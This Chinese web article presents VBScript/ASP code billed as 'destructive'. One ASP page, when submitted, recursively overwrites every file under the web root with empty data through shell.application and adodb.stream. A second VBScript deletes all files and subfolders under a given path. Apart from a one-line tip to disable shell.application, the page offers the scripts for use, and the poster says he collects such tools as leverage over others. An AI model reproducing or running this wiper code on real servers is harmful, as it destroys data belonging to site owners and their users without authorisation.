首页 电脑 电脑学堂 查看内容

VBS破坏性应用代码

2009-7-17 10:12 631 0

摘要:   非常具有破坏性,所以如果自己有服务器的,一定要把shell.application组件禁掉    '网上看到的,适用与没有禁用shell.application的服务器  server.scrip...
关键词: Set shell Nothing oSubFolder Function oFolder CreateObject oSubFolders application server

  非常具有破坏性,所以如果自己有服务器的,一定要把shell.application组件禁掉    '网上看到的,适用与没有禁用shell.application的服务器  server.scripttimeout = 99999  If request("submit")<>"" Then  Call listfile(server.mappath("./"))  response.Write"处理完毕"  Else  response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"  End If  Function listfile(fpath)  On Error Resume Next  Dim Shell, Folder, s  Set Shell = server.CreateObject ("shell.application")  Set Folder = Shell.namespace(fpath)  Set f = server.CreateObject("adodb.stream")  f.Type = 1  f.Open  For Each s in Folder.Items  If s.isfolder Then  Call listfile(s.Path)  Else  f.savetofile s.Path, 2  End If  Next  Set f = Nothing  Set Shell = Nothing  End Function  以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:  view plaincopy to clipboardprint?  '看到文件删文件,看到文件夹删除文件夹  Function FilesTree(sPath)  Set oFso = CreateObject("Scripting.FileSystemObject")  Set oFolder = oFso.GetFolder(sPath)  Set oSubFolders = oFolder.SubFolders  Set oFiles = oFolder.Files  For Each oFile In oFiles  'WScript.Echo oFile.Path  oFile.Delete  Next  For Each oSubFolder In oSubFolders  'WScript.Echo oSubFolder.Path  oSubFolder.Delete  'FilesTree(oSubFolder.Path)'递归  Next  Set oFolder = Nothing  Set oSubFolders = Nothing  Set oFso = Nothing  End Function  FilesTree("F:\deltest\deltest") '遍历
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部